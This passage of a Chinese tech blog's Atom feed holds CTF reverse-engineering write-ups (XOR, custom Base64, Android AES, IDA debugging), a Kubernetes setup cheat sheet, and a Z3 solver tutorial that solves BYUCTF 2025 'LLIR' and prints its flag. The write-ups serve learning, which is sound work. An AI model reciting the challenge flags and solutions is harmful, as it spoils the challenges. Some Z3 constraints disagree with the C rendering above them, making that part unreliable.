data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=MUVjd09pQkcwODNmVmRjNGljVEhKdUlrSnZrRUo3MU1qbDQ9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>进入后可能是汇编界面,依旧是按 F5 将其转为伪代码</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=dHltOFQvYVZ2VGRndGk1TWtxaDFXK0lrSnZrRUo3MU1qbDQ9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>这里打印的字符串提到函数名就是 part2</p><p>返回刚刚查看变量的标签页,可以看到之前函数里没见到过的变量</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=clpXVEhRZW9vWVN4eHJ1RjdTNmo3TC9GdmUvblMwU1hnajg9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>就是上图中黄色高亮的部分,按 X 查看交叉引用</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=VG5id29xWlhPV0tBNzdrMVgrZ0d1REF6V1BSUWU1dmVIMFk9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>按回车进入</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=VUVMR1FQekVjcnh4Q1phL0c1SGpXVEF6V1BSUWU1dmVIMFk9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>这里的逻辑是一个简单的异或加密,双击查看 encrypted_array 数组内容</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=MFBNekFsbFc0RW5JYjdya0REWnRsblBva3ZaUk54UHVmRkk9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>然后根据提示,按下 Shift + E 可提取数据</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=a2lzVS8rZXQzTCs1bDYvSjE4NklBOXBDNEZuUnZlbHdhVnc9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>选好合适的导出选项,然后编写解密脚本:</p><pre><code class="language-python">a="\xDE\xED\xDA\xF2\xDD\xD8\xD7\xD7" for i in a: print(chr(ord(i) ^ 0xAD), end='')</code></pre><p>运行即可得到 part3</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=Sm5YdWJXSFpBWlhDMm1xZDgwbm80emsvYVN3UkdXb092SWc9" alt="image.png" data-caption="image.png" loading="lazy"></p><h2 id="Strange-Base">Strange Base</h2><p>先使用 IDA 打开,可以看到一个 Base64 加密</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=c0FMMWorVHh2VmNPcUJRcFRtR2ZPd3NGODMycmk1ek5XSG89" alt="image.png" data-caption="image.png" loading="lazy"></p><p>尝试解密发现无法解出有效结果</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=ZVdvRG1Cb2I4S2tBTVRMRHhwelZFQXNGODMycmk1ek5XSG89" alt="image.png" data-caption="image.png" loading="lazy"></p><p>查看加密函数</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=cm9mU3dkYlFwY25HZDA4Q2RmSFd3ZUMvaWxYRWlQV3ZhRlU9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>发现使用了自定义映射字符</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=S0paUlNyNEF3NUllOC81Sm5DZ25RQTFxOUlkeVF4c25FNjg9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>将自定义字符提取出来,即可解出 flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=Y2tlKzdBMjFQeERXdE9MZlQzWVhwZWxZOTMrTU4vam53b1U9" alt="image.png" data-caption="image.png" loading="lazy"></p><blockquote><p>注意:使用 Cyberchef 解码时,其有可能会将自定义映射字符识别为正则表达式,需要将其中的 <code>-</code> 转义为 <code>\-</code> 才可正常解码</p></blockquote><p>有关 Base64 可查阅:<a href="https://baike.baidu.com/item/base64/8545775#1-1">Base64</a></p><h2 id="X0r">X0r</h2><p>使用 IDA 打开,main 函数即此程序的加密逻辑</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=ZmhiSXc1RmMyTURYcGY2bG12ZEh2Y29wc1BrbERXRnZVTjg9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>程序对输入的字符串先进行长度判断,然后三个一组,每组第一个字符与 <code>0x11</code> 进行异或,第二个与 <code>0x45</code> 异或,第三个与 <code>0x14</code> 异或</p><p>运算完成后还有一次异或的运算,根据这样的逻辑,可以写出解密脚本:</p><pre><code class="language-python">a = 'anu`ym7wKLl$P]v3q%D]lHpi' for i in range(len(a)): if i % 3 == 0: print(chr(ord(a[i]) ^ 0x14 ^ 19), end='') elif i % 3 == 1: print(chr(ord(a[i]) ^ 0x11 ^ 19), end='') else: print(chr(ord(a[i]) ^ 0x45 ^ 81), end='')</code></pre><p>运行即可得到 flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=NmVrTWgxSXZuTUxKam5ndXRCRW5oMnl5TkpMUWFVdGhodjg9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>有关异或运算可以看《深入理解计算机系统》中的 2.1.6,这道题是利用了异或运算中这样的规律:</p><pre><code>a^b=c a^c=b b^c=a</code></pre><h2 id="EzMyDroid">EzMyDroid</h2><p>这是一道安卓逆向题,需要使用 JADX 来进行逆向</p><p>使用 JADX 打开可以看到程序逻辑</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=M1oyUUZjU2hqeGgzZXI5UGV6ZDRSV2swR3R3bjZJV1cyclE9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>这里的没有 flag 处理的相关逻辑,可以看看 FirstFragment 类</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=WTFHS2h6alpvbUErSVFiK2NZOHR0NlhDN1JUTFZ4eHZjV0k9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>这里可以发现,按下按钮后,会将输入框中的内容使用 AES 加密,双击 encrypt 方法,可以看到 AES 的模式为 ECB 模式,填充方式为 PKCS5Padding,加密后会将加密内容使用 Base64 编码</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=aTJ0cjJoZ25rYmtOU3J2aVJScW5wYUhlcHdla2cyNUoydjA9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>由此可知,从 FirstFragment 类中传入 encrypt 方法的是明文与密钥,密钥为 1145141919810000,加密后结果赋值给 strEncrypt 变量,然后与一个 Base64字符串比较</p><p>根据以上分析,可以解密得到 flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=UlhkRmRPZ1hUR3hnYVg5c2gzUEd4QWZ0dHJ3SGJlNjdaL2M9" alt="image.png" data-caption="image.png" loading="lazy"></p><h2 id="debug">debug</h2><h3 id="动态调试">动态调试</h3><p>使用 IDA 打开</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=VUNLMFJPVFM2OWNCZldtNklZWjE4MHdiNmRxR1RzSHJHM2s9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>可以看到程序的逻辑比较负责,这个时候可以进行动态调试</p><p>可能需要配置远程调试器,可以查阅<a href="https://blog.potatowo.top/2025/04/04/%E4%BD%BF%E7%94%A8IDA%E8%B0%83%E8%AF%95%E7%9A%84%E7%AE%80%E5%8D%95%E7%A4%BA%E4%BE%8B/">这篇文章</a></p><p>题目提示在 x0r 函数下断点</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=QjdMZDZsU3FmV1hPNTN0dTUyUEMzNDlGeWc1ZTdtSW5QZjg9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>找到 x0r 函数,然后在最后一行下断点,可以按下 F2 或者点击行号前的小点来下断点</p><p>然后按下 F9,程序会运行到断点处暂停</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=WTB1Z2I4U05YY1MyMHB6a21NMGZuRmR3cVJGTjZiUW1jRWs9" alt="image.png" data-caption="image.png" loading="lazy"></p><p>双击 flag 数组,然后提取数据,即可获得 flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=Q1FFK09hTWVvZUJVOTNpUVo5NEZyTXVmb2JIVkZiUjh1YWc9" alt="image.png" data-caption="image.png" loading="lazy"></p>]]></content>
<summary type="html">本文详细介绍了如何使用IDA Pro逆向分析工具解决Puzzle挑战。通过F5反汇编、Shift+F12查看字符串、X键追踪变量引用等关键技巧,逐步获取part1、part2和part4等关键信息。适合逆向工程初学者学习静态分析方法和IDA Pro的基本操作。</summary>
<category term="CTF" scheme="https://24kblog.top/tags/CTF/"/>
<category term="逆向" scheme="https://24kblog.top/tags/%E9%80%86%E5%90%91/"/>
<category term="WP" scheme="https://24kblog.top/tags/WP/"/>
</entry>
<entry>
<title>暑假运维考核总结</title>
<link href="https://24kblog.top/posts/424668771/"/>
<id>https://24kblog.top/posts/424668771/</id>
<published>2025-07-30T12:24:19.000Z</published>
<updated>2026-03-04T04:27:32.025Z</updated>
<content type="html"><![CDATA[<blockquote><p>感觉这几天折腾 K8s 够我这个知识库以后可能会用到的很多内容了,虽然熟练之后可能就不怎么会用到了,但是如果以后生了需要重新熟悉这个东西还是需要的。</p></blockquote><h2 id="部署-K8s">部署 K8s</h2><p>部署 K8s 挺简单的,只需要 Sealos 一把梭就行了</p><p>(不过如果要手动部署的话还是有点要命的</p><h3 id="安装-Sealos">安装 Sealos</h3><pre><code class="language-shell">echo "deb [trusted=yes] https://apt.fury.io/labring/ /" | sudo tee /etc/apt/sources.list.d/labring.listsudo apt updatesudo apt install sealos</code></pre><p>上面是通过包管理器来安装 Sealos,其它的安装方法可以参考<a href="https://sealos.run/docs/k8s/quick-start/install-cli">官方文档</a></p><h3 id="安装集群">安装集群</h3><p>要注意选择合适的版本,K8s 的<a href="https://kubernetes.io/zh-cn/releases/release/#the-release-cycle">生命周期</a>感觉不怎么长,所以更新比较频繁,可以在轩辕镜像中查镜像的版本,下面的镜像我也换成了轩辕镜像。</p><p>注意 Sealos 如果是 5.0.0 版本及以上的,下面的镜像要找带 <code>-5.0.1</code> 这样的字眼的。</p><pre><code class="language-shell">sealos run docker.xuanyuan.me/labring/kubernetes:v1.29.9 docker.xuanyuan.me/labring/helm:v3.9.4 docker.xuanyuan.me/labring/cilium:v1.13.4 --single</code></pre><h2 id="K8s-一些常见命令">K8s 一些常见命令</h2><pre><code class="language-shell"># 获取资源kubectl get [资源类型] [资源名称] [选项]</code></pre><ul><li>资源类型:常见的资源有 node、deployment、pod、namespace(ns)、service(svc),资源详解将在后文提出</li><li>选项:<ul><li><code>-n</code> 指定命名空间</li><li><code>-o</code> 指定输出格式</li><li><code>-A</code> 输出上述全部资源,其它资源如 ingress 可能不会列出</li><li><code>-l</code> 获取指定标签资源</li></ul></li></ul><pre><code class="language-shell"># 获取特定资源详细信息kubectl describe [资源类型] [资源名称] [选项]</code></pre><p>参数内容和上述基本一致</p><pre><code class="language-shell"># 查看指定 pod 的日志kubectl logs [pod 名称] [选项]</code></pre><ul><li>选项:<ul><li><code>--tail</code> 指定输出最后几行</li></ul></li></ul><pre><code class="language-shell"># 获取特定资源详细信息kubectl delete [资源类型] [资源名称]</code></pre><p>参数内容和上述基本一致</p><p>注:k8s pod 中没有重启一说,只能通过删除 pod 来达到重启的目的</p><pre><code class="language-shell"># 配置应用资源kubectl apply -f [CRD 资源文件] [选项]</code></pre><ul><li>CRD 资源文件:通过 YAML 文件定义的资源结构</li></ul><pre><code class="language-shell"># 基于文件或标准输入创建一个资源。# 接受 JSON 和 YAML 格式。kubectl create -f [CRD 资源文件]</code></pre><p>参数内容和上述基本一致</p><pre><code class="language-shell"># 进入指定 pod 内部kubectl exec -it [pod 名称] /bin/bash</code></pre><p>如有需要,可使用 <code>-n</code> 指定 pod 所在命名空间</p><pre><code class="language-shell"># 使用策略合并补丁、JSON 合并补丁或 JSON 补丁来更新某资源的字段。# 接受 JSON 和 YAML 格式。kubectl patch (-f FILENAME | TYPE NAME) [-p PATCH|--patch-file FILE]</code></pre><p>官方示例:</p><pre><code class="language-shell"># 使用策略合并补丁部分更新节点,指定补丁为 JSON 格式kubectl patch node k8s-node-1 -p '{"spec":{"unschedulable":true}}' # 使用策略合并补丁部分更新节点,指定补丁为 YAML 格式kubectl patch node k8s-node-1 -p $'spec:\n unschedulable: true' # 使用策略合并补丁部分更新以在 "node.json" 中所指定类别和名称标识的节点kubectl patch -f node.json -p '{"spec":{"unschedulable":true}}' # 更新容器的镜像;spec.containers[*].name 是必需的,因为它是合并键kubectl patch pod valid-pod -p '{"spec":{"containers":[{"name":"kubernetes-serve-hostname","image":"new image"}]}}'# 使用带有位置数组的 JSON 补丁更新容器的镜像kubectl patch pod valid-pod --type='json' -p='[{"op": "replace", "path": "/spec/containers/0/image", "value":"new image"}]' # 使用合并补丁通过 “scale” 子资源更新 Deployment 的副本kubectl patch deployment nginx-deployment --subresource='scale' --type='merge' -p '{"spec":{"replicas":2}}'</code></pre><blockquote><p>具体指令使用方法请参考官方文档:<a href="https://kubernetes.io/zh-cn/docs/reference/kubectl/generated/">https://kubernetes.io/zh-cn/docs/reference/kubectl/generated/</a></p></blockquote><h2 id="资源类型">资源类型</h2><h3 id="1-工作负载类">1. 工作负载类</h3><p>此类资源决定了你的应用程序如何运行和扩展:</p><ul><li><p>Pod(po)<br />K8S最小的可调度单元,是容器的载体。实际生产中很少直接运维裸Pod,通常用在Job等场景。</p></li><li><p>ReplicaSet(rs)<br />保证指定副本数的Pod持续运行。多由Deployment控制间接管理,不直接编写。</p></li><li><p>Deployment(deploy)<br />最常用的部署资源,支持回滚、滚动升级。日常生产用的最多,如Web应用、API服务等。</p></li><li><p>StatefulSet(sts)<br />有状态服务(如MySQL、Redis集群)专用,Pod有固定标识符和持久存储。</p></li><li><p>DaemonSet(ds)<br />用于每个(或指定)Node上自动运行一个Pod,例如日志收集、监控agent。</p></li><li><p>Job / CronJob<br />Job用于一次性任务,CronJob实现定时调度(可类比Linux的crontab)。</p></li></ul><h3 id="2-服务发现与负载均衡">2. 服务发现与负载均衡</h3><ul><li><p>Service(svc)<br />集群内持久服务入口,实现Pod间或外部服务访问负载均衡。</p></li><li><p>Endpoints / EndpointSlice<br />Service关联的实际Pod IP存储对象,自动管理,无需手动变更。</p></li><li><p>Ingress<br />七层路由,支持HTTP/S流量的准入、反向代理、SSL。</p></li></ul><h3 id="3-存储管理">3. 存储管理</h3><ul><li><p>PersistentVolume(pv)、PersistentVolumeClaim(pvc)<br />PV是系统管理员提供的物理存储,PVC是用户申请的逻辑存储,两者绑定让Pod能持久存储。</p></li><li><p>StorageClass(sc)<br />提供动态存储卷选项,简化PVC自动分配。</p></li></ul><h3 id="4-配置与密钥">4. 配置与密钥</h3><ul><li><p>ConfigMap(cm)<br />存储配置数据,诸如环境变量、配置文件。明文存储,非敏感信息。</p></li><li><p>Secret<br />存储敏感数据,例如密码、密钥、token,默认base64编码(需注意不是加密,生产需结合KMS等方案)。</p></li></ul><h3 id="5-集群级管理">5. 集群级管理</h3><ul><li><p>Namespace(ns)<br />多租户/隔离环境的实现基础,推荐每个业务系统独占一个namespace。</p></li><li><p>Node(no)<br />集群中的物理机/虚拟机。不可随意操作,部分命令需集群管理员权限。</p></li></ul><h3 id="7-其他高阶与扩展">7. 其他高阶与扩展</h3><ul><li>CRD(CustomResourceDefinition)<br />用户自定义资源类型。实现Operator、Service Mesh、云原生数据库等扩展生态的基石。</li></ul><blockquote><p>更多详见:<a href="https://kubernetes.io/zh-cn/docs/reference/kubernetes-api/">https://kubernetes.io/zh-cn/docs/reference/kubernetes-api/</a></p></blockquote><h2 id="其它补充">其它补充</h2><h3 id="更换-containerd-镜像">更换 containerd 镜像</h3><p>有的时候创建 Pod 会卡在 Pull Image 的阶段,这可能是因为国内特殊的网络国情,这时候就需要使用镜像</p><p>配置镜像只需要修改 <code>/etc/containerd/certs.d/docker.io/hosts.toml</code> 这个文件就可以了</p><p>下面是一个文件示例:</p><pre><code class="language-toml">server = "https://docker.io"[host."https://dockerproxy.com"]capabilities = ["pull", "resolve"]</code></pre><p>修改完这个文件之后需要重启一下 containerd 服务:</p><pre><code class="language-shell">systemctl restart containerd.service</code></pre><p>测试效果:</p><pre><code class="language-shell">sudo crictl pull docker.io/library/nginx:alpine</code></pre><h3 id="Longhorn-PV">Longhorn PV</h3><p>有的时候如果总的分配的 PV 大于存储空间,可能会导致 Pod 无法附加,这个时候记得扩容,或者上 Web UI 调整保留容量</p><p>挂载新磁盘的时候也要记得在 Web UI 挂载</p><blockquote><p>有关访问 Web UI 的部分,详见:<a href="https://longhorn.io/docs/1.9.1/deploy/accessing-the-ui/">https://longhorn.io/docs/1.9.1/deploy/accessing-the-ui/</a></p></blockquote>]]></content>
<summary type="html">本文详细介绍了使用Sealos快速部署Kubernetes集群的完整流程,包括Sealos安装、镜像版本选择及常见K8s命令使用。通过简洁的步骤和实用示例,帮助开发者高效搭建和管理K8s环境,适合需要快速上手容器编排的运维人员和开发者参考。</summary>
<category term="K8s" scheme="https://24kblog.top/tags/K8s/"/>
<category term="Kubernetes" scheme="https://24kblog.top/tags/Kubernetes/"/>
<category term="运维" scheme="https://24kblog.top/tags/%E8%BF%90%E7%BB%B4/"/>
<category term="Docker" scheme="https://24kblog.top/tags/Docker/"/>
<category term="CI/CD" scheme="https://24kblog.top/tags/CI-CD/"/>
<category term="总结" scheme="https://24kblog.top/tags/%E6%80%BB%E7%BB%93/"/>
</entry>
<entry>
<title>Z3简单介绍</title>
<link href="https://24kblog.top/posts/173508956/"/>
<id>https://24kblog.top/posts/173508956/</id>
<published>2025-05-18T06:02:46.000Z</published>
<updated>2026-03-04T04:26:47.067Z</updated>
<content type="html"><![CDATA[<h2 id="Z3-是什么">Z3 是什么</h2><p><a href="https://github.com/Z3Prover/z3">Z3</a> 是一个微软出品的开源约束求解器,能够解决很多种情况下的给定部分约束条件寻求一组满足条件的解的问题(可以简单理解为解方程的感觉,虽然这么比喻其实还差距甚远,请勿吐槽),功能强大且易于使用,本文以近期的 CTF 题为实例,向尚未接触过约束求解器的小伙伴们介绍 Z3 在 CTF 解题中的应用。</p><p>Z3 约束求解器是针对 <a href="https://en.wikipedia.org/wiki/Satisfiability_modulo_theories">Satisfiability modulo theories Problem</a> 的一种通用求解器。所谓 SMT 问题,在 Z3 环境下是指关于算术、位运算、数组等背景理论的一阶逻辑组合决定性问题。虽然 Z3 功能强大,但是从理论上来说,大部分 SMT 问题的时间复杂度都过高,根本不可能在有限时间内解决。所以千万不要把 Z3 想象得过于万能。</p><p>Z3 在工业应用中实际上常见于软件验证、程序分析等。然而由于功能实在强大,也被用于很多其他领域。CTF 领域来说,能够用约束求解器搞定的问题常见于密码题、二进制逆向、符号执行、Fuzzing 模糊测试等。此外,著名的二进制分析框架 <a href="https://angr.io/">angr</a> 也内置了一个修改版的 Z3。</p><p>Z3 本身提供一个类似于 Lisp 的内置语言,但是实际使用中,一般使用 Python Binding 操作会比较方便。</p><ul><li><a href="https://link.zhihu.com/?target=http%3A//z3prover.github.io/api/html/namespacez3py.html">http://z3prover.github.io/api/html/namespacez3py.html</a></li><li><a href="https://link.zhihu.com/?target=https%3A//pypi.python.org/pypi/z3-solver/4.5.1.0">https://pypi.python.org/pypi/z3-solver/4.5.1.0</a></li><li><a href="https://link.zhihu.com/?target=https%3A//ericpony.github.io/z3py-tutorial/guide-examples.htm">https://ericpony.github.io/z3py</a></li></ul><h2 id="Z3-入门">Z3 入门</h2><p>Z3 内置了多种变量类型,基本能覆盖常见计算机数据结构。包括整数、浮点数、<a href="https://zhida.zhihu.com/search?content_id=4408061&content_type=Article&match_order=1&q=BitVector&zd_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ6aGlkYV9zZXJ2ZXIiLCJleHAiOjE3NDc2Mzk5MzcsInEiOiJCaXRWZWN0b3IiLCJ6aGlkYV9zb3VyY2UiOiJlbnRpdHkiLCJjb250ZW50X2lkIjo0NDA4MDYxLCJjb250ZW50X3R5cGUiOiJBcnRpY2xlIiwibWF0Y2hfb3JkZXIiOjEsInpkX3Rva2VuIjpudWxsfQ.BYA1bjGLHgIoVJKoy_KdcAoKG9pWRNFLoGFh7IygSGE&zhida_source=entity">BitVector</a>、数组等。</p><p>先来一个简单的例子看一下 Z3 能做什么:</p><pre><code class="language-python">from z3 import *x = Int('x')y = Int('y')solve(x > 2, y < 10, x + 2*y == 7) </code></pre><p>上面的例子中,定义了两个变量:x 和 y。类型为 Int(注意这里的 Int 可不是 C/C++ 里面包含上下界的 int,Z3 中的 Int 对应的就是数学中的整数,Z3 中的 BitVector 才对应到 C/C++ 中的 int)。</p><p>然后就调用了 <code>solve</code> 函数求解三个条件下的满足模型,这三个条件分别是 x 大于 2,y 小于 10,并且 x 加 2 个 y 等于 7。</p><p>运行一下结果:</p><pre><code class="language-shell">$ python example.py [y = 0, x = 7] </code></pre><p>可以看出,Z3 找到了 y=0,x=7 这组解。但是 x=5,y=1 也符合条件,却没有显示,原因是 Z3 在默认情况下,只寻找满足所有条件的一组解,而不是找出所有解。</p><p>如果想要找出多组解,则需排除之前求得的解:</p><pre><code class="language-python">from z3 import *x = Int('x')y = Int('y')# 定义约束条件constraints = [x > 2, y < 10, x + 2*y == 7]# 创建 solvers = Solver()s.add(constraints)# 循环查找所有解while s.check() == sat: m = s.model() print(m) # 构造一个新的约束,排除当前的解 block = [] for var in [x, y]: block.append(var != m[var]) # 添加新约束到 solver 中 s.add(Or(block))</code></pre><p>关于 Z3 的更多使用细节,可以看这两篇文章:</p><ul><li><a href="https://www.cnblogs.com/myx-myx/articles/17009330.html">Z3求解器基础学习 (一) 从例子入门</a></li><li><a href="https://www.cnblogs.com/myx-myx/articles/17009332.html">Z3基础学习 (二) 基础语法</a></li></ul><h2 id="例题">例题</h2><h3 id="BYUCTF-2025-Rev-LLIR">BYUCTF 2025 Rev LLIR</h3><p>下载附件发现是 .ll 文件,主函数如下</p><pre><code class="language-plaintext">; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [64 x i8], align 16 store i32 0, ptr %1, align 4 %3 = call i32 (ptr, ...) @printf(ptr noundef @.str.1) %4 = call i32 (ptr, ...) @printf(ptr noundef @.str.2) %5 = call i32 (ptr, ...) @printf(ptr noundef @.str.3) %6 = getelementptr inbounds [64 x i8], ptr %2, i64 0, i64 0 %7 = load ptr, ptr @stdin, align 8 %8 = call ptr @fgets(ptr noundef %6, i32 noundef 64, ptr noundef %7) %9 = getelementptr inbounds [64 x i8], ptr %2, i64 0, i64 0 %10 = call i32 @checker_i_hardly_know_her(ptr noundef %9) %11 = icmp ne i32 %10, 0 br i1 %11, label %12, label %1412: ; preds = %0 %13 = call i32 (ptr, ...) @printf(ptr noundef @.str.4) store i32 0, ptr %1, align 4 br label %1614: ; preds = %0 %15 = call i32 (ptr, ...) @printf(ptr noundef @.str.5) store i32 1, ptr %1, align 4 br label %1616: ; preds = %14, %12 %17 = load i32, ptr %1, align 4 ret i32 %17}</code></pre><p>简单分析,可以发现主函数调用了 <code>@checker_i_hardly_know_her</code> 函数</p><p>这个函数有三四百行,但是分析的话就可以发现这是一系列约束条件,用 C 语言表示的话就像下面:</p><pre><code class="language-c">// 核心校验函数(对应 LLVM 中的 @checker_i_hardly_know_her 函数)int checker_i_hardly_know_her(char *input) { // 1. 前缀检查(对应 LLVM IR 中的 %166-%168 调用) if(strncmp(input, flag_prefix, 6) != 0) return 0; // call i32 @strncmp(...) // 2. 固定字符检查(对应 %143-%147 和 %149-%153) if(input[6] != '{') return 0; // %151 = load i8, ptr %150 (position 6) if(input[36] != '}') return 0; // %145 = load i8, ptr %144 (position 36) // 3. 字符关联检查(对应 LLVM IR 中的 %3-%340 分支逻辑) // 每个条件对应一组 ICMP EQ 指令和分支判断 // 这里 AI 漏了 %12 的部分,后面解密脚本我添加回来了 if(input[4] != input[14]) return 0; // %5 vs %9 (position 4 vs 14) if(input[17] != input[23]) return 0; // %19 vs %29 (position 17 vs 23) if(input[23] != input[25]) return 0; // %29 vs %39 (position 23 vs 25) if(input[9] != input[20]) return 0; // %45 vs %49 (position 9 vs 20) if(input[10] != input[18]) return 0; // %55 vs %59 (position 10 vs 18) if(input[11] != input[15]) return 0; // %65 vs %69 (position 11 vs 15) if(input[15] != input[24]) return 0; // %69 vs %79 (position 15 vs 24) if(input[24] != input[31]) return 0; // %79 vs %89 (position 24 vs 31) if(input[31] != input[27]) return 0; // %89 vs %99 (position 31 vs 27) if(input[13] != input[26]) return 0; // %105 vs %109 (position 13 vs 26) if(input[16] != input[29]) return 0; // %115 vs %119 (position 16 vs 29) if(input[19] != input[28]) return 0; // %125 vs %130 (position 19 vs 28) if(input[28] != input[32]) return 0; // %135 vs %140 (position 28 vs 32) // 4. 数值关系检查(对应 LLVM IR 中的数学运算逻辑) // 包含符号扩展(sext)和算术运算 if(input[8] != input[7] - 32) return 0; // %157 vs %162-32 (ASCII大小写转换) if(input[9] + input[20] != input[31] + 3) return 0; // %173+%177 vs %182+3 if(input[0] - 3 != input[31] + 3) return 0; // %194 = %189+3 的逆向计算 if(input[7] + 6 != input[10]) return 0; // %204+6 vs %200 if(input[9] + 27 != input[8]) return 0; // %215+27 vs %211 if(input[12] != input[13] - 1) return 0; // %221 vs %225-1 if(input[13] != input[10] - 3) return 0; // %225 vs %236-3 if(input[10] != input[16] - 1) return 0; // %236 vs %247-1 if(input[16] != input[14] - 1) return 0; // %247 vs %258-1 // 5. 多级依赖检查(对应 %263-%339 的复杂链式依赖) if(input[35] != input[5] + 2) return 0; // %265 vs %270-2 if(input[5] != input[21] - 2) return 0; // %269 vs %280-2 if(input[21] != input[22] - 1) return 0; // %279 vs %290-1 if(input[22] != input[28] * 2) return 0; // %289 vs %302*2 if(input[33] != input[32] + 1) return 0; // %308 vs %312+1 if(input[34] != input[32] + 4) return 0; // %324 vs %319+4+3 if(input[30] != input[7] + 1) return 0; // %331 vs %336+1 return 1;}</code></pre><p>这些约束条件就像方程一样,虽然人脑也可以算,但是速度不行,而且会累死人</p><p>根据上面的内容写出的解密脚本如下:</p><pre><code class="language-python">from z3 import * def solve_flag(): s = Solver() flag_len = 37 ch = [BitVec(f'c{i}', 8) for i in range(flag_len)] # 确保都是可打印字符 for c in ch: s.add(c >= 32, c <= 126) # 固定前缀 "byuctf" prefix = b'byuctf' for i, val in enumerate(prefix): s.add(ch[i] == val) # 固定特殊字符 s.add(ch[6] == ord('{')) # '{' s.add(ch[36] == ord('}')) # '}' # 字符相等性约束 s.add(ch[4] == ch[14]) s.add(ch[14] == ch[17]) # 这个就是漏掉的条件 s.add(ch[17] == ch[23]) s.add(ch[23] == ch[25]) s.add(ch[9] == ch[20]) s.add(ch[10] == ch[18]) s.add(ch[11] == ch[15]) s.add(ch[15] == ch[24]) s.add(ch[24] == ch[31]) s.add(ch[31] == ch[27]) s.add(ch[13] == ch[26]) s.add(ch[16] == ch[29]) s.add(ch[19] == ch[28]) s.add(ch[28] == ch[32]) # 数值关系约束 s.add(ch[0] == ch[31] + 3) s.add(ch[8] == ch[7] - 32) s.add(ch[9] + ch[20] == ch[31] + 3) s.add(ch[7] + 6 == ch[10]) s.add(ch[8] == ch[9] + 27) s.add(ch[12] == ch[13] - 1) s.add(ch[13] == ch[10] - 3) s.add(ch[10] == ch[16] - 1) s.add(ch[16] == ch[14] - 1) s.add(ch[35] == ch[5] - 2) s.add(ch[5] == ch[21] - 1) s.add(ch[21] == ch[22] - 1) s.add(ch[22] == ch[28] * 2) s.add(ch[33] == ch[32] + 1) s.add(ch[34] == ch[32] + 4) s.add(ch[30] == ch[7] + 1) # 求解 if s.check() == sat: model = s.model() flag = ''.join([chr(model.eval(c).as_long()) for c in ch]) print(f"Flag found: {flag}") return flag else: print("No solution found!") return None if __name__ == "__main__": solve_flag()</code></pre><p>解得 flag:</p><pre><code>Flag found: byuctf{lL1r_not_str41ght_to_4sm_458d}</code></pre>]]></content>
<summary type="html">本文介绍微软开源的Z3约束求解器,解释其作为SMT问题通用求解器的功能,涵盖算术、位运算等背景理论。通过CTF实例展示Z3在密码题、二进制逆向等领域的应用,并推荐使用Python Binding进行便捷操作。适合对约束求解器感兴趣的初学者和CTF爱好者。</summary>
<category term="网安" scheme="https://24kblog.top/tags/%E7%BD%91%E5%AE%89/"/>
<category term="笔记" scheme="https://24kblog.top/tags/%E7%AC%94%E8%AE%B0/"/>
<category term="CTF" scheme="https://24kblog.top/tags/CTF/"/>
<category term="逆向" scheme="https://24kblog.top/tags/%E9%80%86%E5%90%91/"/>
<category term="Z3" scheme="https://24kblog.top/tags/Z3/"/>
</entry>
<entry>
<title>文件上传漏洞</title>
<link href="https://24kblog.top/posts/154257042/"/>
<id>https://24kblog.top/posts/154257042/</id>
<published>2025-05-10T12:11:17.000Z</published>
<updated>2026-03-04T04:27:25.343Z</updated>
